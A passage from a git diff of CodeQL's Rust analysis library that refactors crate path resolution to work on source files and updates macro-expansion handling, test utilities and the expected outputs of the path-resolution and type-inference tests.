be referenced directly. */ module Impl { + private import rust + + pragma[nomagic] + predicate isInMacroExpansion(MacroCall mc, AstNode n) { + n = mc.getMacroCallExpansion() + or + isInMacroExpansion(mc, n.getParentNode()) + } + // the following QLdoc is generated: if you need to edit it, do it in the schema file /** * A MacroCall. For example: @@ -20,5 +29,12 @@ module Impl { */ class MacroCall extends Generated::MacroCall { override string toStringImpl() { result = this.getPath().toAbbreviatedString() + "!..." } + + /** Gets an AST node whose location is inside the token tree belonging to this macro call. */ + pragma[nomagic] + AstNode getATokenTreeNode() { + isInMacroExpansion(this, result) and + this.getTokenTree().getLocation().contains(result.getLocation()) + } } } diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll index 84ee379773a1..e7d9cac24e92 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll @@ -7,6 +7,7 @@ private import codeql.rust.Concepts private import codeql.rust.controlflow.ControlFlowGraph as Cfg private import codeql.rust.controlflow.CfgNodes as CfgNodes private import codeql.rust.dataflow.DataFlow +private import codeql.rust.internal.PathResolution /** * A call to the `starts_with` method on a `Path`. diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index bdf13aeb4b6d..a3535b7f3468 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -196,11 +196,11 @@ abstract class ItemNode extends Locatable { this = result.(ImplOrTraitItemNode).getAnItemInSelfScope() or name = "crate" and - this = result.(CrateItemNode).getARootModuleNode() + this = result.(CrateItemNode).getASourceFile() or // todo: implement properly name = "$crate" and - result = any(CrateItemNode crate | this = crate.getARootModuleNode()).(Crate).getADependency*() and + result = any(CrateItemNode crate | this = crate.getASourceFile()).(Crate).getADependency*() and result.(CrateItemNode).isPotentialDollarCrateTarget() } @@ -281,12 +281,6 @@ abstract private class ModuleLikeNode extends ItemNode { not mid instanceof ModuleLikeNode ) } - - /** - * Holds if this is a root module, meaning either a source file or - * the entry module of a crate. - */ - predicate isRoot() { this instanceof SourceFileItemNode } } private class SourceFileItemNode extends ModuleLikeNode, SourceFile { @@ -312,16 +306,13 @@ private class SourceFileItemNode extends ModuleLikeNode, SourceFile { class CrateItemNode extends ItemNode instanceof Crate { /** - * Gets the module node that defines this crate. - * - * This is either a source file, when the crate is defined in source code, - * or a module, when the crate is defined in a dependency. + * Gets the source file that defines this crate. */ pragma[nomagic] - ModuleLikeNode getModuleNode() { result = super.getSourceFile() } + SourceFileItemNode getSourceFile() { result = super.getSourceFile() } /** - * Gets a source file that belongs to this crate, if any. + * Gets a source file that belongs to this crate. * * This is calculated as those source files that can be reached from the entry * file of this crate using zero or more `mod` imports, without going through @@ -339,11 +330,6 @@ class CrateItemNode extends ItemNode instanceof Crate { ) } - /** - * Gets a root module node belonging to this crate. - */ - ModuleLikeNode getARootModuleNode() { result = this.getASourceFile() } - pragma[nomagic] predicate isPotentialDollarCrateTarget() { exists(string name, RelevantPath p | @@ -985,7 +971,7 @@ private predicate modImport0(Module m, string name, Folder lookup) { // sibling import lookup = parent and ( - m.getFile() = any(CrateItemNode c).getModuleNode().(SourceFileItemNode).getFile() + m.getFile() = any(CrateItemNode c).getSourceFile().getFile() or m.getFile().getBaseName() = "mod.rs" ) @@ -1073,7 +1059,7 @@ private predicate fileImportEdge(Module mod, string name, ItemNode item) { */ pragma[nomagic] private predicate crateDefEdge(CrateItemNode c, string name, ItemNode i) { - i = c.getModuleNode().getASuccessorRec(name) and + i = c.getSourceFile().getASuccessorRec(name) and not i instanceof Crate } @@ -1081,17 +1067,10 @@ private predicate crateDefEdge(CrateItemNode c, string name, ItemNode i) { * Holds if `m` depends on crate `dep` named `name`. */ private predicate crateDependencyEdge(ModuleLikeNode m, string name, CrateItemNode dep) { - exists(CrateItemNode c | dep = c.(Crate).getDependency(name) | - // entry module/entry source file - m = c.getModuleNode() - or - // entry/transitive source file + exists(CrateItemNode c | + dep = c.(Crate).getDependency(name) and m = c.getASourceFile() ) - or - // paths inside the crate graph use the name of the crate itself as prefix, - // although that is not valid in Rust - dep = any(Crate c | name = c.getName() and m = c.getSourceFile()) } private predicate useTreeDeclares(UseTree tree, string name) { @@ -1159,9 +1138,9 @@ class RelevantPath extends Path { private predicate isModule(ItemNode m) { m instanceof Module } -/** Holds if root module `root` contains the module `m`. */ -private predicate rootHasModule(ItemNode root, ItemNode m) = - doublyBoundedFastTC(hasChild/2, isRoot/1, isModule/1)(root, m) +/** Holds if source file `source` contains the module `m`. */ +private predicate rootHasModule(SourceFileItemNode source, ItemNode m) = + doublyBoundedFastTC(hasChild/2, isSourceFile/1, isModule/1)(source, m) pragma[nomagic] private ItemNode getOuterScope(ItemNode i) { @@ -1214,14 +1193,14 @@ private ItemNode getASuccessorFull(ItemNode pred, string name, Namespace ns) { ns = result.getNamespace() } -private predicate isRoot(ItemNode root) { root.(ModuleLikeNode).isRoot() } +private predicate isSourceFile(ItemNode source) { source instanceof SourceFileItemNode } private predicate hasCratePath(ItemNode i) { any(RelevantPath path).isCratePath(_, i) } private predicate hasChild(ItemNode parent, ItemNode child) { child.getImmediateParent() = parent } -private predicate rootHasCratePathTc(ItemNode i1, ItemNode i2) = - doublyBoundedFastTC(hasChild/2, isRoot/1, hasCratePath/1)(i1, i2) +private predicate sourceFileHasCratePathTc(ItemNode i1, ItemNode i2) = + doublyBoundedFastTC(hasChild/2, isSourceFile/1, hasCratePath/1)(i1, i2) /** * Holds if the unqualified path `p` references a keyword item named `name`, and @@ -1231,10 +1210,10 @@ pragma[nomagic] private predicate keywordLookup(ItemNode encl, string name, Namespace ns, RelevantPath p) { // For `($)crate`, jump directly to the root module exists(ItemNode i | p.isCratePath(name, i) | - encl.(ModuleLikeNode).isRoot() and + encl instanceof SourceFile and encl = i or - rootHasCratePathTc(encl, i) + sourceFileHasCratePathTc(encl, i) ) or name = ["super", "self"] and @@ -1449,12 +1428,8 @@ private predicate preludeEdge(SourceFile f, string name, ItemNode i) { private import codeql.rust.frameworks.stdlib.Bultins as Builtins pragma[nomagic] -private predicate builtinEdge(ModuleLikeNode m, string name, ItemNode i) { - ( - m instanceof SourceFile - or - m = any(CrateItemNode c).getModuleNode() - ) and +private predicate builtinEdge(SourceFile source, string name, ItemNode i) { + exists(source) and exists(SourceFileItemNode builtins | builtins.getFile().getParentContainer() instanceof Builtins::BuiltinsFolder and i = builtins.getASuccessorRec(name) diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index bae628b47233..5bc137252fdd 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -1232,7 +1232,7 @@ private module Debug { exists(string filepath, int startline, int startcolumn, int endline, int endcolumn | result.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) and filepath.matches("%/main.rs") and - startline = 28 + startline = 948 ) } diff --git a/rust/ql/lib/utils/test/PathResolutionInlineExpectationsTest.qll b/rust/ql/lib/utils/test/PathResolutionInlineExpectationsTest.qll index cd82003feac1..e6cf20da84dc 100644 --- a/rust/ql/lib/utils/test/PathResolutionInlineExpectationsTest.qll +++ b/rust/ql/lib/utils/test/PathResolutionInlineExpectationsTest.qll @@ -18,7 +18,8 @@ private module ResolveTest implements TestSig { private predicate commmentAt(string text, string filepath, int line) { exists(Comment c | c.getLocation().hasLocationInfo(filepath, line, _, _, _) and - c.getCommentText().trim() = text + c.getCommentText().trim() = text and + c.fromSource() ) } @@ -35,6 +36,8 @@ private module ResolveTest implements TestSig { exists(AstNode n | not n = any(Path parent).getQualifier() and location = n.getLocation() and + n.fromSource() and + not n.isFromMacroExpansion() and element = n.toString() and tag = "item" | diff --git a/rust/ql/test/TestUtils.qll b/rust/ql/test/TestUtils.qll index f5b1f846657a..586989321e16 100644 --- a/rust/ql/test/TestUtils.qll +++ b/rust/ql/test/TestUtils.qll @@ -1,12 +1,20 @@ private import rust -predicate toBeTested(Element e) { not e instanceof CrateElement and not e instanceof Builtin } +predicate toBeTested(Element e) { + not e instanceof CrateElement and + not e instanceof Builtin and + ( + not e instanceof Locatable + or + e.(Locatable).fromSource() + ) and + not e.(AstNode).isFromMacroExpansion() +} class CrateElement extends Element { CrateElement() { this instanceof Crate or - this instanceof NamedCrate or - any(Crate c).getSourceFile() = this.(AstNode).getParentNode*() + this instanceof NamedCrate } } diff --git a/rust/ql/test/library-tests/path-resolution/my.rs b/rust/ql/test/library-tests/path-resolution/my.rs index 29856d613c22..3d7b150214aa 100644 --- a/rust/ql/test/library-tests/path-resolution/my.rs +++ b/rust/ql/test/library-tests/path-resolution/my.rs @@ -16,13 +16,13 @@ mod my4 { } pub use my4::my5::f as nested_f; // $ item=I201 - +#[rustfmt::skip] type Result< T, // T > = ::std::result::Result< T, // $ item=T - String, ->; // my::Result + String,> // $ item=Result +; // my::Result fn int_div( x: i32, // $ item=i32 @@ -30,7 +30,7 @@ fn int_div( ) -> Result // $ item=my::Result $ item=i32 { if y == 0 { - return Err("Div by zero".to_string()); + return Err("Div by zero".to_string()); // $ item=Err } - Ok(x / y) + Ok(x / y) // $ item=Ok } diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected index 264e8757d511..806b00590936 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected @@ -352,15 +352,15 @@ resolvePath | my.rs:18:9:18:16 | ...::my5 | my.rs:15:5:15:16 | mod my5 | | my.rs:18:9:18:19 | ...::f | my/my4/my5/mod.rs:1:1:3:1 | fn f | | my.rs:22:5:22:9 | std | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/std/src/lib.rs:0:0:0:0 | Crate(std@0.0.0) | -| my.rs:22:5:22:17 | ...::result | file://:0:0:0:0 | mod result | -| my.rs:22:5:25:1 | ...::Result::<...> | file://:0:0:0:0 | enum Result | +| my.rs:22:5:22:17 | ...::result | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/lib.rs:356:1:356:15 | mod result | +| my.rs:22:5:24:12 | ...::Result::<...> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | enum Result | | my.rs:23:5:23:5 | T | my.rs:21:5:21:5 | T | | my.rs:28:8:28:10 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | | my.rs:29:8:29:10 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | -| my.rs:30:6:30:16 | Result::<...> | my.rs:20:1:25:2 | type Result<...> | +| my.rs:30:6:30:16 | Result::<...> | my.rs:18:34:25:1 | type Result<...> | | my.rs:30:13:30:15 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | -| my.rs:33:16:33:18 | Err | file://:0:0:0:0 | Err | -| my.rs:35:5:35:6 | Ok | file://:0:0:0:0 | Ok | +| my.rs:33:16:33:18 | Err | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:534:5:537:56 | Err | +| my.rs:35:5:35:6 | Ok | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:529:5:532:55 | Ok | | my/nested.rs:9:13:9:13 | f | my/nested.rs:3:9:5:9 | fn f | | my/nested.rs:15:9:15:15 | nested2 | my/nested.rs:2:5:11:5 | mod nested2 | | my/nested.rs:15:9:15:18 | ...::f | my/nested.rs:3:9:5:9 | fn f | diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.ql b/rust/ql/test/library-tests/path-resolution/path-resolution.ql index 88ea10c0eba0..d04036f7b516 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.ql +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.ql @@ -21,5 +21,7 @@ class ItemNodeLoc extends ItemNodeFinal { } query predicate resolvePath(Path p, ItemNodeLoc i) { - toBeTested(p) and not p.isInMacroExpansion() and i = resolvePath(p) + toBeTested(p) and + not p.isFromMacroExpansion() and + i = resolvePath(p) } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index b8b52cf4b50c..7e8559672ed2 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -494,10 +494,12 @@ inferType | main.rs:377:26:377:29 | SelfParam | | main.rs:366:5:367:14 | S1 | | main.rs:377:38:379:9 | { ... } | | main.rs:366:5:367:14 | S1 | | main.rs:378:20:378:31 | "not called" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:378:20:378:31 | MacroExpr | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/fmt/mod.rs:549:1:584:1 | Arguments | | main.rs:382:28:382:31 | SelfParam | | main.rs:366:5:367:14 | S1 | | main.rs:382:34:382:35 | s1 | | main.rs:366:5:367:14 | S1 | | main.rs:382:48:384:9 | { ... } | | main.rs:366:5:367:14 | S1 | | main.rs:383:20:383:31 | "not called" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:383:20:383:31 | MacroExpr | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/fmt/mod.rs:549:1:584:1 | Arguments | | main.rs:389:26:389:29 | SelfParam | | main.rs:366:5:367:14 | S1 | | main.rs:389:38:391:9 | { ... } | | main.rs:366:5:367:14 | S1 | | main.rs:390:13:390:16 | self | | main.rs:366:5:367:14 | S1 | @@ -1002,8 +1004,10 @@ inferType | main.rs:884:19:884:22 | self | Snd | main.rs:882:15:882:17 | Snd | | main.rs:885:43:885:82 | MacroExpr | | main.rs:882:15:882:17 | Snd | | main.rs:885:50:885:81 | "PairNone has no second elemen... | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:885:50:885:81 | MacroExpr | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/fmt/mod.rs:549:1:584:1 | Arguments | | main.rs:886:43:886:81 | MacroExpr | | main.rs:882:15:882:17 | Snd | | main.rs:886:50:886:80 | "PairFst has no second element... | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:886:50:886:80 | MacroExpr | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/fmt/mod.rs:549:1:584:1 | Arguments | | main.rs:887:37:887:39 | snd | | main.rs:882:15:882:17 | Snd | | main.rs:887:45:887:47 | snd | | main.rs:882:15:882:17 | Snd | | main.rs:888:41:888:43 | snd | | main.rs:882:15:882:17 | Snd | @@ -1468,96 +1472,96 @@ inferType | main.rs:1150:15:1150:16 | &x | | file://:0:0:0:0 | & | | main.rs:1150:15:1150:16 | &x | &T | main.rs:1126:5:1126:13 | S | | main.rs:1150:16:1150:16 | x | | main.rs:1126:5:1126:13 | S | -| main.rs:1164:43:1167:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1164:43:1167:5 | { ... } | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1164:43:1167:5 | { ... } | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1164:43:1167:5 | { ... } | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1165:13:1165:13 | x | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1165:17:1165:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1165:17:1165:30 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1165:17:1165:30 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1165:17:1165:31 | TryExpr | | main.rs:1157:5:1158:14 | S1 | | main.rs:1165:28:1165:29 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1166:9:1166:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1166:9:1166:22 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1166:9:1166:22 | ...::Ok(...) | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1166:9:1166:22 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1166:20:1166:21 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1170:46:1174:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1170:46:1174:5 | { ... } | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1170:46:1174:5 | { ... } | E | main.rs:1160:5:1161:14 | S2 | | main.rs:1170:46:1174:5 | { ... } | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1171:13:1171:13 | x | | file://:0:0:0:0 | Result | +| main.rs:1171:13:1171:13 | x | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1171:13:1171:13 | x | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1171:17:1171:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1171:17:1171:30 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1171:17:1171:30 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1171:28:1171:29 | S1 | | main.rs:1157:5:1158:14 | S1 | | main.rs:1172:13:1172:13 | y | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1172:17:1172:17 | x | | file://:0:0:0:0 | Result | +| main.rs:1172:17:1172:17 | x | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1172:17:1172:17 | x | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1172:17:1172:18 | TryExpr | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1173:9:1173:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1173:9:1173:22 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1173:9:1173:22 | ...::Ok(...) | E | main.rs:1160:5:1161:14 | S2 | | main.rs:1173:9:1173:22 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1173:20:1173:21 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1177:40:1182:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1177:40:1182:5 | { ... } | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1177:40:1182:5 | { ... } | E | main.rs:1160:5:1161:14 | S2 | | main.rs:1177:40:1182:5 | { ... } | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1178:13:1178:13 | x | | file://:0:0:0:0 | Result | -| main.rs:1178:13:1178:13 | x | T | file://:0:0:0:0 | Result | +| main.rs:1178:13:1178:13 | x | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1178:13:1178:13 | x | T | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1178:13:1178:13 | x | T.T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1178:17:1178:42 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1178:17:1178:42 | ...::Ok(...) | T | file://:0:0:0:0 | Result | +| main.rs:1178:17:1178:42 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1178:17:1178:42 | ...::Ok(...) | T | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1178:17:1178:42 | ...::Ok(...) | T.T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1178:28:1178:41 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1178:28:1178:41 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1178:28:1178:41 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1178:39:1178:40 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1180:17:1180:17 | x | | file://:0:0:0:0 | Result | -| main.rs:1180:17:1180:17 | x | T | file://:0:0:0:0 | Result | +| main.rs:1180:17:1180:17 | x | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1180:17:1180:17 | x | T | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1180:17:1180:17 | x | T.T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1180:17:1180:18 | TryExpr | | file://:0:0:0:0 | Result | +| main.rs:1180:17:1180:18 | TryExpr | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1180:17:1180:18 | TryExpr | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1180:17:1180:29 | ... .map(...) | | file://:0:0:0:0 | Result | -| main.rs:1181:9:1181:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1180:17:1180:29 | ... .map(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1181:9:1181:22 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1181:9:1181:22 | ...::Ok(...) | E | main.rs:1160:5:1161:14 | S2 | | main.rs:1181:9:1181:22 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1181:20:1181:21 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1185:30:1185:34 | input | | file://:0:0:0:0 | Result | +| main.rs:1185:30:1185:34 | input | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1185:30:1185:34 | input | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1185:30:1185:34 | input | T | main.rs:1185:20:1185:27 | T | -| main.rs:1185:69:1192:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1185:69:1192:5 | { ... } | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1185:69:1192:5 | { ... } | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1185:69:1192:5 | { ... } | T | main.rs:1185:20:1185:27 | T | | main.rs:1186:13:1186:17 | value | | main.rs:1185:20:1185:27 | T | -| main.rs:1186:21:1186:25 | input | | file://:0:0:0:0 | Result | +| main.rs:1186:21:1186:25 | input | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1186:21:1186:25 | input | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1186:21:1186:25 | input | T | main.rs:1185:20:1185:27 | T | | main.rs:1186:21:1186:26 | TryExpr | | main.rs:1185:20:1185:27 | T | -| main.rs:1187:22:1187:38 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1187:22:1187:38 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1187:22:1187:38 | ...::Ok(...) | T | main.rs:1185:20:1185:27 | T | -| main.rs:1187:22:1190:10 | ... .and_then(...) | | file://:0:0:0:0 | Result | +| main.rs:1187:22:1190:10 | ... .and_then(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1187:33:1187:37 | value | | main.rs:1185:20:1185:27 | T | -| main.rs:1187:53:1190:9 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1187:53:1190:9 | { ... } | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1187:53:1190:9 | { ... } | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1188:22:1188:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1189:13:1189:34 | ...::Ok::<...>(...) | | file://:0:0:0:0 | Result | +| main.rs:1189:13:1189:34 | ...::Ok::<...>(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1189:13:1189:34 | ...::Ok::<...>(...) | E | main.rs:1157:5:1158:14 | S1 | -| main.rs:1191:9:1191:23 | ...::Err(...) | | file://:0:0:0:0 | Result | +| main.rs:1191:9:1191:23 | ...::Err(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1191:9:1191:23 | ...::Err(...) | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1191:9:1191:23 | ...::Err(...) | T | main.rs:1185:20:1185:27 | T | | main.rs:1191:21:1191:22 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1195:37:1195:52 | try_same_error(...) | | file://:0:0:0:0 | Result | +| main.rs:1195:37:1195:52 | try_same_error(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1195:37:1195:52 | try_same_error(...) | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1195:37:1195:52 | try_same_error(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1196:22:1196:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1199:37:1199:55 | try_convert_error(...) | | file://:0:0:0:0 | Result | +| main.rs:1199:37:1199:55 | try_convert_error(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1199:37:1199:55 | try_convert_error(...) | E | main.rs:1160:5:1161:14 | S2 | | main.rs:1199:37:1199:55 | try_convert_error(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1200:22:1200:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1203:37:1203:49 | try_chained(...) | | file://:0:0:0:0 | Result | +| main.rs:1203:37:1203:49 | try_chained(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1203:37:1203:49 | try_chained(...) | E | main.rs:1160:5:1161:14 | S2 | | main.rs:1203:37:1203:49 | try_chained(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1204:22:1204:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1207:37:1207:63 | try_complex(...) | | file://:0:0:0:0 | Result | +| main.rs:1207:37:1207:63 | try_complex(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1207:37:1207:63 | try_complex(...) | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1207:37:1207:63 | try_complex(...) | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1207:49:1207:62 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1207:49:1207:62 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1207:49:1207:62 | ...::Ok(...) | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1207:49:1207:62 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1207:60:1207:61 | S1 | | main.rs:1157:5:1158:14 | S1 | diff --git a/rust/ql/test/library-tests/type-inference/type-inference.ql 